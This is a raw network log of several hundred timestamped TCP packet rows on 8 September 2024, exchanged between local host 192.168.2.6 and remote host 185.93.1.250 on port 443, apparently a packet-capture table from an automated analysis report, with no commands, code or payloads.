Sep 8, 2024 09:53:34.586947918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.587106943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.587198973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.587212086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.587258101 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.587264061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.587297916 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.587404013 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.671684980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.671717882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.671848059 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.671861887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.671906948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.672462940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.672476053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.672528982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.672535896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.672575951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.672679901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.672693014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.672743082 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.672748089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.672780991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.673115015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673127890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673175097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.673181057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673218012 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.673357964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673371077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673412085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.673418045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673441887 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.673460007 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.673605919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673619986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673675060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.673682928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673718929 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.673877954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673890114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673943043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.673948050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.673984051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.674031019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.674047947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.674098969 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.674103975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.674139977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.758794069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.758815050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.758908033 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.758924961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.758965969 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.759316921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.759331942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.759385109 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.759391069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.759442091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.759449959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.759465933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.759509087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.759514093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.759536982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.759555101 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.759773970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.759787083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.759825945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.759830952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.759856939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.759881020 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.760137081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.760150909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.760201931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.760206938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.760246992 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.760489941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.760503054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.760554075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.760560036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.760597944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.760790110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.760802031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.760855913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.760860920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.760901928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.761107922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.761121988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.761161089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.761167049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.761190891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.761210918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.845918894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.845943928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.846065044 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.846092939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.846137047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.846215010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.846230030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.846266031 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.846272945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.846298933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.846316099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.846479893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.846493006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.846539021 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.846545935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.846576929 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.846859932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.846873999 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.846913099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.846921921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.846940994 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.846956968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.847136021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.847148895 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.847187996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.847194910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.847217083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.847233057 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.847507000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.847520113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.847552061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.847558975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.847580910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.847596884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.847763062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.847776890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.847821951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.847827911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.847862959 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.847970963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.847985029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.848021030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.848026991 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.848048925 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.848068953 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.933043957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.933068037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.933172941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.933197021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.933233023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.933429956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.933445930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.933484077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.933491945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.933521986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.933568954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.933582067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.933624983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.933630943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.933662891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.934406042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.934422016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.934449911 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.934458017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.934478998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.934494972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.934624910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.934639931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.934678078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.934684992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.934715033 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.934808016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.934823036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.934864044 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.934868097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.934897900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.935044050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.935058117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.935095072 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.935100079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.935131073 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.935394049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.935410023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.935434103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.935440063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:34.935462952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:34.935477972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.020329952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.020348072 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.020401001 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.020416021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.020447969 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.020889044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.020901918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.020948887 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.020955086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.021071911 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.021156073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.021173000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.021199942 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.021207094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.021230936 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.021245003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.021378994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.021392107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.021420956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.021425009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.021456957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.021758080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.021771908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.021797895 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.021804094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.021825075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.021842003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.022037983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.022051096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.022099018 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.022103071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.022131920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.022375107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.022387981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.022429943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.022437096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.022465944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.022598982 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.022612095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.022655010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.022660971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.022681952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.022697926 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.107306957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.107323885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.107423067 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.107441902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.107481003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.108587027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.108599901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.108654022 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.108659983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.108696938 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.108772039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.108787060 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.108843088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.108849049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.108885050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.109345913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.109359026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.109416008 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.109421968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.109457016 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.109837055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.109853983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.109904051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.109909058 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.109939098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.109940052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.109949112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.109993935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.110297918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.110297918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.110305071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.110347033 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.110408068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.110420942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.110475063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.110481024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.110516071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.110605955 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.110619068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.110672951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.110678911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.110718012 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.194483995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.194504023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.194590092 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.194601059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.194645882 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.195523024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.195537090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.195575953 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.195580959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.195621967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.196166992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.196181059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.196221113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.196225882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.196237087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.196245909 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.196259975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.196275949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.196280956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.196300030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.196329117 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.196566105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.196579933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.196628094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.196633101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.196667910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.196943045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.196954966 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.197007895 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.197012901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.197046041 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.197339058 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.197352886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.197396040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.197400093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.197434902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.197448015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.197459936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.197489023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.197493076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.197515011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.197524071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.281820059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.281858921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.282011986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.282035112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.282078028 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.282617092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.282633066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.282691956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.282697916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.282730103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.282876015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.282891035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.282933950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.282938957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.282965899 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.283315897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.283329964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.283390999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.283396959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.283443928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.283736944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.283757925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.283813000 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.283818007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.283850908 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:35.283984900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:35.284025908 CEST	443	49710	185.93.1.250	192.168.2.6
